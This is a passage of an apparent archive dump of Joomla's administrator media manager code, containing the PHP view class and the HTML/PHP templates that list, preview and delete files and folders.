<span class="icon-grid-view-2"></span> <?php echo
JText::_('COM_MEDIA_THUMBNAIL_VIEW'); ?></a>
<a href="#" id="details"
onclick="MediaManager.setViewType('details')"
class="btn <?php echo ($style == 'details') ?
'active' : ''; ?>">
<span class="icon-list-view"></span> <?php echo
JText::_('COM_MEDIA_DETAIL_VIEW'); ?></a>
</div>
media/view.html.php000064400000006770151165632210010265 0ustar00<?php
/**
* @package Joomla.Administrator
* @subpackage com_media
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
/**
* HTML View class for the Media component
*
* @since 1.0
*/
class MediaViewMedia extends JViewLegacy
{
/**
* Execute and display a template script.
*
* @param string $tpl The name of the template file to parse;
automatically searches through the template paths.
*
* @return mixed A string if successful, otherwise an Error object.
*
* @since 1.0
*/
public function display($tpl = null)
{
$app = JFactory::getApplication();
$config = JComponentHelper::getParams('com_media');
if (!$app->isClient('administrator'))
{
return
$app->enqueueMessage(JText::_('JERROR_ALERTNOAUTHOR'),
'warning');
}
/*
* Display form for FTP credentials?
* Don't set them here, as there are other functions called before
this one if there is any file write operation
*/
$ftp = !JClientHelper::hasCredentials('ftp');
$session = JFactory::getSession();
$state = $this->get('state');
$this->session = $session;
$this->config = &$config;
$this->state = &$state;
$this->require_ftp = $ftp;
$this->folders_id = ' id="media-tree"';
$this->folders = $this->get('folderTree');
$this->sidebar = JHtmlSidebar::render();
// Set the toolbar
$this->addToolbar();
parent::display($tpl);
}
/**
* Add the page title and toolbar.
*
* @return void
*
* @since 1.6
*/
protected function addToolbar()
{
// Get the toolbar object instance
$bar = JToolbar::getInstance('toolbar');
$user = JFactory::getUser();
// Set the titlebar text
JToolbarHelper::title(JText::_('COM_MEDIA'), 'images
mediamanager');
// Add an upload button
if ($user->authorise('core.create', 'com_media'))
{
// Instantiate a new JLayoutFile instance and render the layout
$layout = new JLayoutFile('toolbar.uploadmedia');
$bar->appendButton('Custom', $layout->render(array()),
'upload');
JToolbarHelper::divider();
}
// Add a create folder button
if ($user->authorise('core.create', 'com_media'))
{
// Instantiate a new JLayoutFile instance and render the layout
$layout = new JLayoutFile('toolbar.newfolder');
$bar->appendButton('Custom', $layout->render(array()),
'create');
JToolbarHelper::divider();
}
// Add a delete button
if ($user->authorise('core.delete', 'com_media'))
{
// Instantiate a new JLayoutFile instance and render the layout
$layout = new JLayoutFile('toolbar.deletemedia');
$bar->appendButton('Custom', $layout->render(array()),
'delete');
JToolbarHelper::divider();
}
// Add a preferences button
if ($user->authorise('core.admin', 'com_media') ||
$user->authorise('core.options', 'com_media'))
{
JToolbarHelper::preferences('com_media');
JToolbarHelper::divider();
}
JToolbarHelper::help('JHELP_CONTENT_MEDIA_MANAGER');
}
/**
* Display a folder level
*
* @param array $folder Array with folder data
*
* @return string
*
* @since 1.0
*/
protected function getFolderLevel($folder)
{
$this->folders_id = null;
$txt = null;
if (isset($folder['children']) &&
count($folder['children']))
{
$tmp = $this->folders;
$this->folders = $folder;
$txt = $this->loadTemplate('folders');
$this->folders = $tmp;
}
return $txt;
}
}
medialist/tmpl/default.php000064400000000423151165632210011631
0ustar00<?php
/**
* @package Joomla.Administrator
* @subpackage com_media
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
medialist/tmpl/details.php000064400000007317151165632210011643
0ustar00<?php
/**
* @package Joomla.Administrator
* @subpackage com_media
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
$params = JComponentHelper::getParams('com_media');
$path = 'file_path';
JHtml::_('jquery.framework');
JHtml::_('behavior.core');
$doc = JFactory::getDocument();
// Need to override this core function because we use a different form id
$doc->addScriptDeclaration(
"
Joomla.isChecked = function( isitchecked, form ) {
if ( typeof form === 'undefined' ) {
form = document.getElementById( 'mediamanager-form' );
}
form.boxchecked.value += isitchecked ? 1 : -1;
// If we don't have a checkall-toggle, done.
if ( !form.elements[ 'checkall-toggle' ] ) return;
// Toggle main toggle checkbox depending on checkbox selection
var c = true,
i, e, n;
for ( i = 0, n = form.elements.length; i < n; i++ ) {
e = form.elements[ i ];
if ( e.type == 'checkbox' && e.name !=
'checkall-toggle' && !e.checked ) {
c = false;
break;
}
}
form.elements[ 'checkall-toggle' ].checked = c;
};
"
);
$doc->addScriptDeclaration(
"
jQuery(document).ready(function($){
window.parent.document.updateUploader();
$('.img-preview, .preview').each(function(index, value) {
$(this).on('click', function(e) {
window.parent.jQuery('#imagePreviewSrc').attr('src',
$(this).attr('href'));
window.parent.jQuery('#imagePreview').modal('show');
return false;
});
});
$('.video-preview').each(function(index, value) {
$(this).unbind('click');
$(this).on('click', function(e) {
e.preventDefault();
window.parent.jQuery('#videoPreview').modal('show');
var elementInitialised =
window.parent.jQuery('#mejsPlayer').attr('src');
if (!elementInitialised)
{
window.parent.jQuery('#mejsPlayer').attr('src',
$(this).attr('href'));
window.parent.jQuery('#mejsPlayer').mediaelementplayer();
}
window.parent.jQuery('#mejsPlayer')[0].player.media.setSrc($(this).attr('href'));
return false;
});
});
});
"
);
?>
<form target="_parent"
action="index.php?option=com_media&tmpl=index&folder=<?php
echo rawurlencode($this->state->folder); ?>"
method="post" id="mediamanager-form"
name="mediamanager-form">
<div class="muted">
<p>
<span class="icon-folder"></span>
<?php
echo $params->get($path, 'images'),
($this->escape($this->state->folder) != '') ?
'/' . $this->escape($this->state->folder) :
'';
?>
</p>
</div>
<div class="manager">
<table class="table table-striped table-condensed">
<thead>
<tr>
<?php if ($this->canDelete) : ?>
<th width="1%">
<?php echo JHtml::_('grid.checkall'); ?>
</th>
<?php endif; ?>
<th width="1%"><?php echo
JText::_('JGLOBAL_PREVIEW'); ?></th>
<th><?php echo JText::_('COM_MEDIA_NAME');
?></th>
<th width="15%"><?php echo
JText::_('COM_MEDIA_PIXEL_DIMENSIONS'); ?></th>
<th width="8%"><?php echo
JText::_('COM_MEDIA_FILESIZE'); ?></th>
<?php if ($this->canDelete) : ?>
<th width="8%">
<?php echo JText::_('JACTION_DELETE'); ?>
</th>
<?php endif; ?>
</tr>
</thead>
<tbody>
<?php
echo $this->loadTemplate('up'),
$this->loadTemplate('folders'),
$this->loadTemplate('docs'),
$this->loadTemplate('videos'),
$this->loadTemplate('imgs');
?>
</tbody>
</table>
</div>
<input type="hidden" name="task"
value="list" />
<input type="hidden" name="username"
value="" />
<input type="hidden" name="password"
value="" />
<input type="hidden" name="boxchecked"
value="" />
<?php echo JHtml::_('form.token'); ?>
</form>
medialist/tmpl/details_doc.php000064400000003742151165632210012466
0ustar00<?php
/**
* @package Joomla.Administrator
* @subpackage com_media
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
use Joomla\Registry\Registry;
JHtml::_('bootstrap.tooltip');
$user = JFactory::getUser();
$params = new Registry;
$dispatcher = JEventDispatcher::getInstance();
$dispatcher->trigger('onContentBeforeDisplay',
array('com_media.file', &$this->_tmp_doc, &$params,
0));
?>
<tr>
<td>
<a title="<?php echo
$this->escape($this->_tmp_doc->name); ?>">
<?php echo JHtml::_('image',
$this->_tmp_doc->icon_16,
$this->escape($this->_tmp_doc->title), null, true, true) ?
JHtml::_('image', $this->_tmp_doc->icon_16,
$this->_tmp_doc->title, array('width' => 16,
'height' => 16), true) : JHtml::_('image',
'media/con_info.png',
$this->escape($this->_tmp_doc->title), array('width'
=> 16, 'height' => 16), true);?> </a>
</td>
<td class="description" title="<?php echo
$this->escape($this->_tmp_doc->name); ?>">
<?php echo $this->escape($this->_tmp_doc->title); ?>
</td>
<td> 
</td>
<td class="filesize">
<?php echo JHtml::_('number.bytes',
$this->_tmp_doc->size); ?>
</td>
<?php if ($user->authorise('core.delete',
'com_media')):?>
<td>
<a class="delete-item" target="_top"
href="index.php?option=com_media&task=file.delete&tmpl=index&<?php
echo JSession::getFormToken(); ?>=1&folder=<?php echo
rawurlencode($this->state->folder); ?>&rm[]=<?php echo
$this->escape($this->_tmp_doc->name); ?>"
rel="<?php echo $this->escape($this->_tmp_doc->name);
?>"><span class="icon-remove hasTooltip"
title="<?php echo JHtml::_('tooltipText',
'JACTION_DELETE');?>"></span></a>
<input type="checkbox" name="rm[]"
value="<?php echo $this->escape($this->_tmp_doc->name);
?>" />
</td>
<?php endif;?>
</tr>
<?php $dispatcher->trigger('onContentAfterDisplay',
array('com_media.file', &$this->_tmp_doc, &$params,
0));
medialist/tmpl/details_docs.php000064400000003744151165632210012653
0ustar00<?php
/**
* @package Joomla.Administrator
* @subpackage com_media
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
use Joomla\Registry\Registry;
JHtml::_('bootstrap.tooltip');
$params = new Registry;
$dispatcher = JEventDispatcher::getInstance();
?>
<?php foreach ($this->documents as $i => $doc) : ?>
<?php $dispatcher->trigger('onContentBeforeDisplay',
array('com_media.file', &$doc, &$params, 0)); ?>
<tr>
<?php if ($this->canDelete) : ?>
<td>
<?php echo JHtml::_('grid.id', $i,
$this->escape($doc->name), false, 'rm',
'cb-document'); ?>
</td>
<?php endif; ?>
<td>
<a title="<?php echo $this->escape($doc->name);
?>">
<?php echo JHtml::_('image', $doc->icon_16,
$this->escape($doc->title), null, true, true) ?
JHtml::_('image', $doc->icon_16,
$this->escape($doc->title), array('width' => 16,
'height' => 16), true) : JHtml::_('image',
'media/con_info.png', $this->escape($doc->title),
array('width' => 16, 'height' => 16), true);
?>
</a>
</td>
<td class="description" title="<?php echo
$this->escape($doc->name); ?>">
<?php echo $this->escape($doc->title); ?>
</td>
<td> </td>
<td class="filesize">
<?php echo JHtml::_('number.bytes', $doc->size); ?>
</td>
<?php if ($this->canDelete) : ?>
<td>
<a class="delete-item" target="_top"
href="index.php?option=com_media&task=file.delete&tmpl=index&<?php
echo JSession::getFormToken(); ?>=1&folder=<?php echo
rawurlencode($this->state->folder); ?>&rm[]=<?php echo
$this->escape($doc->name); ?>" rel="<?php echo
$this->escape($doc->name); ?>">
<span class="icon-remove hasTooltip" title="<?php
echo JHtml::tooltipText('JACTION_DELETE');
?>"></span>
</a>
</td>
<?php endif; ?>
</tr>
<?php $dispatcher->trigger('onContentAfterDisplay',
array('com_media.file', &$doc, &$params, 0)); ?>
<?php endforeach; ?>
medialist/tmpl/details_folder.php000064400000003056151165632210013172
0ustar00<?php
/**
* @package Joomla.Administrator
* @subpackage com_media
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
$user = JFactory::getUser();
JHtml::_('bootstrap.tooltip');
?>
<tr>
<td class="imgTotal">
<a
href="index.php?option=com_media&view=mediaList&tmpl=component&folder=<?php
echo rawurlencode($this->_tmp_folder->path_relative); ?>"
target="folderframe">
<span class="icon-folder-2"></span></a>
</td>
<td class="description">
<a
href="index.php?option=com_media&view=mediaList&tmpl=component&folder=<?php
echo rawurlencode($this->_tmp_folder->path_relative); ?>"
target="folderframe"><?php echo
$this->escape($this->_tmp_folder->name); ?></a>
</td>
<td> 
</td>
<td> 
</td>
<?php if ($user->authorise('core.delete',
'com_media')):?>
<td>
<a class="delete-item" target="_top"
href="index.php?option=com_media&task=folder.delete&tmpl=index&folder=<?php
echo rawurlencode($this->state->folder); ?>&<?php echo
JSession::getFormToken(); ?>=1&rm[]=<?php echo
$this->_tmp_folder->name; ?>" rel="<?php echo
$this->_tmp_folder->name; ?>' :: <?php echo
$this->_tmp_folder->files + $this->_tmp_folder->folders;
?>"><span class="icon-remove hasTooltip"
title="<?php echo JHtml::_('tooltipText',
'JACTION_DELETE');?>"></span></a>
<input type="checkbox" name="rm[]"
value="<?php echo $this->_tmp_folder->name; ?>" />
</td>
<?php endif;?>
</tr>
medialist/tmpl/details_folders.php000064400000003103151165632210013346
0ustar00<?php
/**
* @package Joomla.Administrator
* @subpackage com_media
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
JHtml::_('bootstrap.tooltip');
?>
<?php foreach ($this->folders as $i => $folder) : ?>
<?php $link =
'index.php?option=com_media&view=mediaList&tmpl=component&folder='
. rawurlencode($folder->path_relative); ?>
<tr>
<?php if ($this->canDelete) : ?>
<td>
<?php echo JHtml::_('grid.id', $i,
$this->escape($folder->name), false, 'rm',
'cb-folder'); ?>
</td>
<?php endif; ?>
<td class="imgTotal">
<a href="<?php echo $link; ?>"
target="folderframe"><span
class="icon-folder-2"></span></a>
</td>
<td class="description">
<a href="<?php echo $link; ?>"
target="folderframe"><?php echo
$this->escape($folder->name); ?></a>
</td>
<td> </td>
<td> </td>
<?php if ($this->canDelete) : ?>
<td>
<a class="delete-item" target="_top"
href="index.php?option=com_media&task=folder.delete&tmpl=index&folder=<?php
echo rawurlencode($this->state->folder); ?>&<?php echo
JSession::getFormToken(); ?>=1&rm[]=<?php echo
$this->escape($folder->name); ?>" rel="<?php echo
$this->escape($folder->name); ?> :: <?php echo
$this->escape($folder->files) +
$this->escape($folder->folders); ?>">
<span class="icon-remove hasTooltip" title="<?php
echo JHtml::tooltipText('JACTION_DELETE');
?>"></span>
</a>
</td>
<?php endif; ?>
</tr>
<?php endforeach; ?>
medialist/tmpl/details_img.php000064400000004502151165632210012470
0ustar00<?php
/**
* @package Joomla.Administrator
* @subpackage com_media
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
use Joomla\Registry\Registry;
JHtml::_('bootstrap.tooltip');
$user = JFactory::getUser();
$params = new Registry;
$dispatcher = JEventDispatcher::getInstance();
$dispatcher->trigger('onContentBeforeDisplay',
array('com_media.file', &$this->_tmp_img, &$params,
0));
?>
<tr>
<td>
<a class="img-preview" href="<?php echo
COM_MEDIA_BASEURL . '/' . str_replace('%2F',
'/', rawurlencode($this->_tmp_img->path_relative));
?>" title="<?php echo
$this->escape($this->_tmp_img->name); ?>"><?php echo
JHtml::_('image', COM_MEDIA_BASEURL . '/' .
$this->escape($this->_tmp_img->path_relative),
JText::sprintf('COM_MEDIA_IMAGE_TITLE',
$this->_tmp_img->title, JHtml::_('number.bytes',
$this->_tmp_img->size)), array('width' =>
$this->_tmp_img->width_16, 'height' =>
$this->_tmp_img->height_16)); ?></a>
</td>
<td class="description">
<a href="<?php echo COM_MEDIA_BASEURL . '/' .
str_replace('%2F', '/',
rawurlencode($this->_tmp_img->path_relative)); ?>"
title="<?php echo $this->escape($this->_tmp_img->name);
?>" class="preview"><?php echo
$this->escape($this->_tmp_img->title); ?></a>
</td>
<td class="dimensions">
<?php echo JText::sprintf('COM_MEDIA_IMAGE_DIMENSIONS',
$this->_tmp_img->width, $this->_tmp_img->height); ?>
</td>
<td class="filesize">
<?php echo JHtml::_('number.bytes',
$this->_tmp_img->size); ?>
</td>
<?php if ($user->authorise('core.delete',
'com_media')):?>
<td>
<a class="delete-item" target="_top"
href="index.php?option=com_media&task=file.delete&tmpl=index&<?php
echo JSession::getFormToken(); ?>=1&folder=<?php echo
rawurlencode($this->state->folder); ?>&rm[]=<?php echo
$this->escape($this->_tmp_img->name); ?>"
rel="<?php echo $this->escape($this->_tmp_img->name);
?>"><span class="icon-remove hasTooltip"
title="<?php echo JHtml::_('tooltipText',
'JACTION_DELETE');?>"></span></a>
<input type="checkbox" name="rm[]"
value="<?php echo $this->escape($this->_tmp_img->name);
?>" />
</td>
<?php endif;?>
</tr>
<?php $dispatcher->trigger('onContentAfterDisplay',
array('com_media.file', &$this->_tmp_img, &$params,
0));
medialist/tmpl/details_imgs.php000064400000004551151165632210012657
0ustar00<?php
/**
* @package Joomla.Administrator
* @subpackage com_media
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
use Joomla\Registry\Registry;
JHtml::_('bootstrap.tooltip');
$user = JFactory::getUser();
$params = new Registry;
$dispatcher = JEventDispatcher::getInstance();
?>
<?php foreach ($this->images as $i => $image) : ?>
<?php $dispatcher->trigger('onContentBeforeDisplay',
array('com_media.file', &$image, &$params, 0)); ?>
<tr>
<?php if ($this->canDelete) : ?>
<td>
<?php echo JHtml::_('grid.id', $i,
$this->escape($image->name), false, 'rm',
'cb-image'); ?>
</td>
<?php endif; ?>
<td>
<a class="img-preview" href="<?php echo
COM_MEDIA_BASEURL . '/' . str_replace('%2F',
'/', rawurlencode($image->path_relative)); ?>"
title="<?php echo $this->escape($image->name);
?>">
<?php echo JHtml::_('image', COM_MEDIA_BASEURL .
'/' . $this->escape($image->path_relative),
JText::sprintf('COM_MEDIA_IMAGE_TITLE',
$this->escape($image->title), JHtml::_('number.bytes',
$image->size)), array('width' => $image->width_16,
'height' => $image->height_16)); ?>
</a>
</td>
<td class="description">
<a href="<?php echo COM_MEDIA_BASEURL . '/' .
str_replace('%2F', '/',
rawurlencode($image->path_relative)); ?>" title="<?php
echo $this->escape($image->name); ?>"
class="preview">
<?php echo $this->escape($image->title); ?>
</a>
</td>
<td class="dimensions">
<?php echo JText::sprintf('COM_MEDIA_IMAGE_DIMENSIONS',
$image->width, $image->height); ?>
</td>
<td class="filesize">
<?php echo JHtml::_('number.bytes', $image->size); ?>
</td>
<?php if ($this->canDelete) : ?>
<td>
<a class="delete-item" target="_top"
href="index.php?option=com_media&task=file.delete&tmpl=index&<?php
echo JSession::getFormToken(); ?>=1&folder=<?php echo
rawurlencode($this->state->folder); ?>&rm[]=<?php echo
$this->escape($image->name); ?>" rel="<?php echo
$this->escape($image->name); ?>">
<span class="icon-remove hasTooltip" title="<?php
echo JHtml::tooltipText('JACTION_DELETE');
?>"></span>
</a>
</td>
<?php endif; ?>
</tr>
<?php $dispatcher->trigger('onContentAfterDisplay',
array('com_media.file', &$image, &$params, 0)); ?>
<?php endforeach; ?>
medialist/tmpl/details_up.php000064400000001762151165632210012345
0ustar00<?php
/**
* @package Joomla.Administrator
* @subpackage com_media
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
$user = JFactory::getUser();
?>
<?php if ($this->state->folder != '') : ?>
<tr>
<?php if ($this->canDelete) : ?>
<td> </td>
<?php endif; ?>
<td class="imgTotal">
<a
href="index.php?option=com_media&view=mediaList&tmpl=component&folder=<?php
echo rawurlencode($this->state->parent); ?>"
target="folderframe">
<span class="icon-arrow-up"></span></a>
</td>
<td class="description">
<a
href="index.php?option=com_media&view=mediaList&tmpl=component&folder=<?php
echo rawurlencode($this->state->parent); ?>"
target="folderframe">..</a>
</td>
<td> </td>
<td> </td>
<?php if ($user->authorise('core.delete',
'com_media')) : ?>
<td> </td>
<?php endif; ?>
</tr>
<?php endif; ?>
medialist/tmpl/details_video.php000064400000004463151165632210013030
0ustar00<?php
/**
* @package Joomla.Administrator
* @subpackage com_media
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
use Joomla\Registry\Registry;
JHtml::_('bootstrap.tooltip');
$user = JFactory::getUser();
$params = new Registry;
$dispatcher = JEventDispatcher::getInstance();
$dispatcher->trigger('onContentBeforeDisplay',
array('com_media.file', &$this->_tmp_video, &$params,
0));
JFactory::getDocument()->addScriptDeclaration("
jQuery(document).ready(function($){
window.parent.jQuery('#videoPreview').on('hidden',
function () {
window.parent.jQuery('#mejsPlayer')[0].player.pause();
});
});
");
?>
<tr>
<td>
<a class="video-preview" href="<?php echo
COM_MEDIA_BASEURL . '/' .
rawurlencode($this->_tmp_video->name); ?>"
title="<?php echo $this->escape($this->_tmp_video->title);
?>"><?php JHtml::_('image',
$this->_tmp_video->icon_16,
$this->escape($this->_tmp_video->title), null, true);
?></a>
</td>
<td class="description">
<a class="video-preview" href="<?php echo
COM_MEDIA_BASEURL . '/' .
rawurlencode($this->_tmp_video->name); ?>"
title="<?php echo $this->escape($this->_tmp_video->name);
?>">
<?php echo JHtml::_('string.truncate',
$this->escape($this->_tmp_video->name), 10, false); ?>
</a>
</td>
<td class="dimensions">
<?php // Can we figure out the dimensions of the video? ?>
</td>
<td class="filesize">
<?php echo JHtml::_('number.bytes',
$this->_tmp_video->size); ?>
</td>
<?php if ($user->authorise('core.delete',
'com_media')):?>
<td>
<a class="delete-item" target="_top"
href="index.php?option=com_media&task=file.delete&tmpl=index&<?php
echo JSession::getFormToken(); ?>=1&folder=<?php echo
rawurlencode($this->state->folder); ?>&rm[]=<?php echo
$this->escape($this->_tmp_video->name); ?>"
rel="<?php echo $this->escape($this->_tmp_video->name);
?>"><span class="icon-remove hasTooltip"
title="<?php echo JHtml::_('tooltipText',
'JACTION_DELETE');?>"></span></a>
<input type="checkbox" name="rm[]"
value="<?php echo $this->escape($this->_tmp_video->name);
?>" />
</td>
<?php endif;?>
</tr>
<?php
$dispatcher->trigger('onContentAfterDisplay',
array('com_media.file', &$this->_tmp_video, &$params,
0));
medialist/tmpl/details_videos.php000064400000004414151165632210013207
0ustar00<?php
/**
* @package Joomla.Administrator
* @subpackage com_media
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
use Joomla\Registry\Registry;
JHtml::_('bootstrap.tooltip');
$params = new Registry;
$dispatcher = JEventDispatcher::getInstance();
JFactory::getDocument()->addScriptDeclaration("
jQuery(document).ready(function($){
window.parent.jQuery('#videoPreview').on('hidden',
function () {
window.parent.jQuery('#mejsPlayer')[0].player.pause();
});
});
");
?>
<?php foreach ($this->videos as $i => $video) : ?>
<?php $dispatcher->trigger('onContentBeforeDisplay',
array('com_media.file', &$video, &$params, 0)); ?>
<tr>
<?php if ($this->canDelete) : ?>
<td>
<?php echo JHtml::_('grid.id', $i,
$this->escape($video->name), false, 'rm',
'cb-video'); ?>
</td>
<?php endif; ?>
<td>
<a class="video-preview" href="<?php echo
COM_MEDIA_BASEURL, '/', rawurlencode($video->name);
?>" title="<?php echo $this->escape($video->title);
?>">
<?php echo JHtml::_('image', $video->icon_16,
$this->escape($video->title), null, true); ?>
</a>
</td>
<td class="description">
<a class="video-preview" href="<?php echo
COM_MEDIA_BASEURL, '/', rawurlencode($video->name);
?>" title="<?php echo $this->escape($video->name);
?>">
<?php echo $this->escape($video->name); ?>
</a>
</td>
<td class="dimensions">
<?php // Can we figure out the dimensions of the video? ?>
</td>
<td class="filesize">
<?php echo JHtml::_('number.bytes', $video->size); ?>
</td>
<?php if ($this->canDelete) : ?>
<td>
<a class="delete-item" target="_top"
href="index.php?option=com_media&task=file.delete&tmpl=index&<?php
echo JSession::getFormToken(); ?>=1&folder=<?php echo
rawurlencode($this->state->folder); ?>&rm[]=<?php echo
$this->escape($video->name); ?>" rel="<?php echo
$this->escape($video->name); ?>">
<span class="icon-remove hasTooltip" title="<?php
echo JHtml::tooltipText('JACTION_DELETE');
?>"></span>
</a>
</td>
<?php endif; ?>
</tr>
<?php $dispatcher->trigger('onContentAfterDisplay',
array('com_media.file', &$video, &$params, 0)); ?>
<?php endforeach; ?>
medialist/tmpl/thumbs.php000064400000006350151165632210011514
0ustar00<?php
/**
* @package Joomla.Administrator
* @subpackage com_media
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
$params = JComponentHelper::getParams('com_media');
$path = 'file_path';
JHtml::_('jquery.framework');
JHtml::_('behavior.core');
$doc = JFactory::getDocument();
// Need to override this core function because we use a different form id
$doc->addScriptDeclaration(
"
Joomla.isChecked = function( isitchecked, form ) {
if ( typeof form === 'undefined' ) {
form = document.getElementById( 'mediamanager-form' );
}
form.boxchecked.value += isitchecked ? 1 : -1;
// If we don't have a checkall-toggle, done.
if ( !form.elements[ 'checkall-toggle' ] ) return;
// Toggle main toggle checkbox depending on checkbox selection
var c = true,
i, e, n;
for ( i = 0, n = form.elements.length; i < n; i++ ) {
e = form.elements[ i ];
if ( e.type == 'checkbox' && e.name !=
'checkall-toggle' && !e.checked ) {
c = false;
break;
}
}
form.elements[ 'checkall-toggle' ].checked = c;
};
"
);
$doc->addScriptDeclaration(
"
jQuery(document).ready(function($){
window.parent.document.updateUploader();
$('.img-preview, .preview').each(function(index, value) {
$(this).on('click', function(e) {
window.parent.jQuery('#imagePreviewSrc').attr('src',
$(this).attr('href'));
window.parent.jQuery('#imagePreview').modal('show');
return false;
});
});
$('.video-preview').each(function(index, value) {
$(this).unbind('click');
$(this).on('click', function(e) {
e.preventDefault();
window.parent.jQuery('#videoPreview').modal('show');
var elementInitialised =
window.parent.jQuery('#mejsPlayer').attr('src');
if (!elementInitialised)
{
window.parent.jQuery('#mejsPlayer').attr('src',
$(this).attr('href'));
window.parent.jQuery('#mejsPlayer').mediaelementplayer();
}
window.parent.jQuery('#mejsPlayer')[0].player.media.setSrc($(this).attr('href'));
return false;
});
});
});
"
);
?>
<form target="_parent"
action="index.php?option=com_media&tmpl=index&folder=<?php
echo rawurlencode($this->state->folder); ?>"
method="post" id="mediamanager-form"
name="mediamanager-form">
<div class="muted breadcrumbs">
<p>
<span class="icon-folder"></span>
<?php
echo $params->get($path, 'images'),
($this->escape($this->state->folder) != '') ?
'/' . $this->escape($this->state->folder) :
'';
?>
</p>
</div>
<div>
<label class="checkbox btn">
<?php echo JHtml::_('grid.checkall'); ?>
<?php echo JText::_('JGLOBAL_CHECK_ALL'); ?>
</label>
</div>
<ul class="manager thumbnails thumbnails-media">
<?php
echo $this->loadTemplate('up'),
$this->loadTemplate('folders'),
$this->loadTemplate('docs'),
$this->loadTemplate('videos'),
$this->loadTemplate('imgs');
?>
<input type="hidden" name="task"
value="" />
<input type="hidden" name="username"
value="" />
<input type="hidden" name="password"
value="" />
<input type="hidden" name="boxchecked"
value="" />
<?php echo JHtml::_('form.token'); ?>
</ul>
</form>
medialist/tmpl/thumbs_docs.php000064400000003557151165632210012532
0ustar00<?php
/**
* @package Joomla.Administrator
* @subpackage com_media
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
use Joomla\Registry\Registry;
$params = new Registry;
$dispatcher = JEventDispatcher::getInstance();
?>
<?php foreach ($this->documents as $i => $doc) : ?>
<?php $dispatcher->trigger('onContentBeforeDisplay',
array('com_media.file', &$doc, &$params, 0)); ?>
<li class="imgOutline thumbnail height-80 width-80
center">
<?php if ($this->canDelete) : ?>
<a class="close delete-item" target="_top"
href="index.php?option=com_media&task=file.delete&tmpl=index&<?php
echo JSession::getFormToken(); ?>=1&folder=<?php echo
rawurlencode($this->state->folder); ?>&rm[]=<?php echo
$this->escape($doc->name); ?>" rel="<?php echo
$this->escape($doc->name); ?>" title="<?php echo
JText::_('JACTION_DELETE'); ?>">×</a>
<div class="pull-left">
<?php echo JHtml::_('grid.id', $i,
$this->escape($doc->name), false, 'rm',
'cb-document'); ?>
</div>
<div class="clearfix"></div>
<?php endif; ?>
<div class="height-50">
<a style="display: block; width: 100%; height: 100%"
title="<?php echo $this->escape($doc->name); ?>" >
<?php echo JHtml::_('image', $doc->icon_32,
$this->escape($doc->name), null, true, true) ?
JHtml::_('image', $doc->icon_32,
$this->escape($doc->title), null, true) : JHtml::_('image',
'media/con_info.png', $this->escape($doc->name), null,
true); ?>
</a>
</div>
<div class="small" title="<?php echo
$this->escape($doc->name); ?>" >
<?php echo JHtml::_('string.truncate',
$this->escape($doc->name), 10, false); ?>
</div>
</li>
<?php $dispatcher->trigger('onContentAfterDisplay',
array('com_media.file', &$doc, &$params, 0)); ?>
<?php endforeach; ?>
medialist/tmpl/thumbs_folders.php000064400000003163151165632210013231
0ustar00<?php
/**
* @package Joomla.Administrator
* @subpackage com_media
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
?>
<?php foreach ($this->folders as $i => $folder) : ?>
<li class="imgOutline thumbnail height-80 width-80
center">
<?php if ($this->canDelete) : ?>
<a class="close delete-item" target="_top"
href="index.php?option=com_media&task=folder.delete&tmpl=index&<?php
echo JSession::getFormToken(); ?>=1&folder=<?php echo
rawurlencode($this->state->folder); ?>&rm[]=<?php echo
$this->escape($folder->name); ?>" rel="<?php echo
$this->escape($folder->name); ?> :: <?php echo
$this->escape($folder->files) +
$this->escape($folder->folders); ?>" title="<?php
echo JText::_('JACTION_DELETE');
?>">×</a>
<div class="pull-left">
<?php echo JHtml::_('grid.id', $i,
$this->escape($folder->name), false, 'rm',
'cb-folder'); ?>
</div>
<div class="clearfix"></div>
<?php endif; ?>
<div class="height-50">
<a
href="index.php?option=com_media&view=mediaList&tmpl=component&folder=<?php
echo rawurlencode($folder->path_relative); ?>"
target="folderframe">
<span class="icon-folder-2"></span>
</a>
</div>
<div class="small">
<a
href="index.php?option=com_media&view=mediaList&tmpl=component&folder=<?php
